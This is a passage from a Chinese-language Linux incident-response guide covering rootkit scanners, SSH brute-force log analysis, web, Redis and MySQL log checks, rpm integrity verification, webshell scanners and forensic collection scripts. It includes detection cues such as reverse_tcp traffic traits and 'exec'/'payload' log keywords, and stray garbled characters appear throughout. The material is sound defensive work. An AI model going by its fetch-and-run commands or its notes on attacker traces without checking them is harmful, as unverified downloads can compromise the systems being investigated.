運行完后會生成日志文件在/var/log/rkhunter.log中

chkrootkit

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit

0x08 系統(tǒng)日志檢查：

日志默認存放位置：/var/log/
必看日志：secure破衔、history
查看日志配置情況：more /etc/rsyslog.conf

Ubuntu 和 Debian 在
/var/log/auth.log 中存儲認證信息，而 RedHat 和 CentOS 則在 /var/log/secure 中存儲該信息宦棺。

/var/log/wtmp 登錄進入瓣距，退出，數(shù)據(jù)交換代咸、關(guān)機和重啟紀(jì)錄
/var/log/lastlog 文件記錄用戶最后登錄的信息蹈丸，可用 lastlog 命令來查看。
/var/log/secure 記錄登入系統(tǒng)存取數(shù)據(jù)的文件呐芥，例如 pop3/ssh/telnet/ftp 等都會被記錄逻杖。
/var/log/cron 與定時任務(wù)相關(guān)的日志信息
/var/log/message 系統(tǒng)啟動后的信息和錯誤日志
/var/log/apache2/access.log apache access log

需要重點分析的日志有/var/run/utmp、/var/log/lastlog思瘟、/var/log/wtmp荸百、
/var/log/btmp和/var/log/secure及軟件安裝?志等

日志分析技巧：

1、定位有多少IP在爆破主機的root帳號：  
# Debian 系的發(fā)行版  
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發(fā)行版
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破：
grep -i "Failed password" /var/log/auth.log
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用戶名字典是什么滨攻？
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
查看暴力猜用戶名的人:
# Debian 系的發(fā)行版
sudo grep "Failed password for invalid user" /var/log/auth.log | awk '{print $13}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發(fā)行版
sudo grep "Failed password for invalid user" /var/log/secure | awk '{print $13}' | sort | uniq -c | sort -nr | more

grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr
grep -o "Failed password" /var/log/secure|uniq -c
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}
 
2够话、登錄成功的IP有哪些：   
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Debian 系的發(fā)行版
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發(fā)行版
grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

登錄成功的日期、用戶名光绕、IP：
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 

3女嘲、增加一個用戶kali日志：
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure 

4、刪除用戶kali日志：
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5诞帐、su切換用戶：
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授權(quán)執(zhí)行:
sudo -l
Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x09 日志檢查：

無論任何web服務(wù)器欣尼，都需要關(guān)注以下的日志：access_log、error_log景埃、access.log媒至、error.log

Apache日志：

應(yīng)通過httpd.conf配置來判斷。
在httpd.conf中搜索未被注釋的谷徙、以指令字CustomLog為起始的行拒啰，該行即指定了日志的存儲位置。
搜索可使用文本搜索完慧，也可使用grep進行：grep -i CustomLog httpd.conf | grep -v ^#
搜索結(jié)束后會獲得類似如下的搜索結(jié)果：
CustomLog /var/mylogs/access.log common
其中 /var/mylogs/access.log即為客戶日志的路徑谋旦。
若此處未指明日志的完整路徑而只是列舉日志的文件名（如：access.log），
則意指該文件存儲與默認的日志存儲目錄下（即，/var/log/httpd 或 /var/httpd 目錄）

IIS日志：

IIS日志默認存儲于 %systemroot%\system32\LogFiles\W3SVC目錄中册着，
日志命名方式為exYYMMDD.log（YYMMDD指：年 月 日）拴孤。
但IIS日志路徑也可通過用戶配置來指定，通過WEB站點配置可確認其位置：
WEB站點 — 屬性 — 網(wǎng)站 — W3C擴展日志文件格式 — 屬性 — 日志文件目錄

可以打開【Microsoft日志記錄屬性】對話框甲捏，查看日志文件目錄及日志文件名演熟，如圖所示

常用日志檢索命令：

查看docker的命令記錄：docker logs -f -t --tail 1000 b0e34ee7b417 | more
或者直接進入docker容器里面，查看history等記錄

Solr：

ubuntu@ubuntu:/opt/solr-8.1.1/example/techproducts/logs$ ls
solr-8983-console.log  solr_gc.log.0.current  solr.log  solr.log.1  solr.log.2  solr.log.3  solr.log.4  solr_slow_requests.log

查看下log日志司顿，直接尋找exec關(guān)鍵詞芒粹，或者payload關(guān)鍵詞

0x0A 數(shù)據(jù)庫日志排查：

1）MySQL日志在Windows系統(tǒng)中，MySQL的默認配置路徑為
C:\Windows\my.ini大溜、C:\Windows\mysql\my.ini
在Linux系統(tǒng)中化漆，MySQL的默認配置路徑為/etc/mysql/my.cnf。查看是否開啟日志審計钦奋，若開啟座云，則將顯示日志路徑。

常規(guī)MySQL日志記錄配置見表

redis的日志：

vim /etc/redis/redis.conf
logfile /var/log/redis/redis-server.log

redis主從復(fù)制排查：

看下replicaton記錄付材，發(fā)現(xiàn)是有記錄的（這種情況詢問業(yè)務(wù)是否主從復(fù)制過朦拖，沒有的話卻又有主從復(fù)制的痕跡就很可疑了）

127.0.0.1:6379> info replication
# Replication
role:master
connected_slaves:0
master_replid:a5ef95e174d7d464f3563fd660e5ad8a009bef71
master_replid2:31f5d75bb871a43a2c5813da51212f9fdc31107a
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

再看看加載module的記錄，雖然有MODULE UNLOAD system卸載module伞租，但有時候異常退出時贞谓，并不會刪除，這時就會有痕跡：

127.0.0.1:6379> module list
1) 1) "name"
   2) "system"
   3) "ver"
   4) (integer) 1

還可以查看dbfilename變量：127.0.0.1:6379> config get dbfilename

0x0B 系統(tǒng)完整性檢測：

通過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟件包葵诈，查看哪些命令是否被替換了：

rpm -Va > rpm.log

如果一切均校驗正常將不會產(chǎn)生任何輸出裸弦，如果有不一致的地方，就會顯示出來作喘，輸出格式是8位長字符串理疙，每個字符都用以表示文件與RPM數(shù)據(jù)庫中一種屬性的比較結(jié)果 ，如果是. (點) 則表示測試通過泞坦。

驗證內(nèi)容中的8個信息的具體內(nèi)容如下：

- S         文件大小是否改變
- M         文件的類型或文件的權(quán)限（rwx）是否被改變
- 5         文件MD5校驗是否改變（可以看成文件內(nèi)容是否改變）
- D         設(shè)備中窖贤，從代碼是否改變
- L         文件路徑是否改變
- U         文件的屬主（所有者）是否改變
- G         文件的屬組是否改變
- T         文件的修改時間是否改變

0x0C webshell查殺:

將當(dāng)前網(wǎng)站目錄文件與此前備份文件進行比對，查看是否存在新增的不一致內(nèi)容贰锁，確定是否包含Webshell相關(guān)信息赃梧，并確定Webshell位置及創(chuàng)建時間。

可手工搜索可能包含Webshell特征的文件：

河馬 WebShell 查殺：http://www.shellpub.com
牧云：https://github.com/chaitin/cloudwalker

如果攻擊者在攻擊成功后利用msf中的 reverse_tcp上線豌熄，那么在Wireshark數(shù)據(jù)包中一般會有PSH標(biāo)志位授嘀，如圖所示：

Linux安全檢查腳本:

linux信息收集/應(yīng)急響應(yīng)/常見后門/挖礦檢測/webshell檢測腳本
項目地址：https://github.com/al0ne/LinuxCheck

git clone https://github.com/al0ne/LinuxCheck.git
chmod u+x LinuxCheck.sh
./LinuxCheck.sh

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit

其他Linux安全檢查腳本：

https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
https://github.com/T0xst/linux

Fastir Collector Linux：https://github.com/SekoiaLab/Fastir_Collector_Linux
收集artefacts，包括：內(nèi)核版本锣险、內(nèi)核模塊蹄皱、網(wǎng)卡览闰、系統(tǒng)版本、主機名巷折、登錄压鉴、網(wǎng)絡(luò)連接、SSH know_host锻拘、日志文件油吭、進程數(shù)據(jù)、自啟動等信息：

wget https://raw.githubusercontent.com/SekoiaLab/Fastir_Collector_Linux/master/fastIR_collector_linux.py && python fastIR_collector_linux.py --debug --output_dir output 

流量檢測小工具：yum install iftop lsof -y逊拍，執(zhí)行iftop

<=上鞠、=> 表示流量的方向
TX 表示發(fā)送流量
RX 表示接收流量
TOTAL 表示總流量
Cum 表示運行 iftop 到目前時間的總流量
peak 表示流量峰值
rates 分別表示過去2s际邻、10s和40s的平均流量

參考如下：

應(yīng)急響應(yīng) - Webshell 處理 15
linux&windows應(yīng)急響應(yīng)（完善版）
update-rc.d的具體用法
Linux 應(yīng)急響應(yīng)
應(yīng)急響應(yīng)實戰(zhàn)筆記
攻防演練之藍隊視角下的Linux信息收集
實戰(zhàn)|一次應(yīng)急挖礦木馬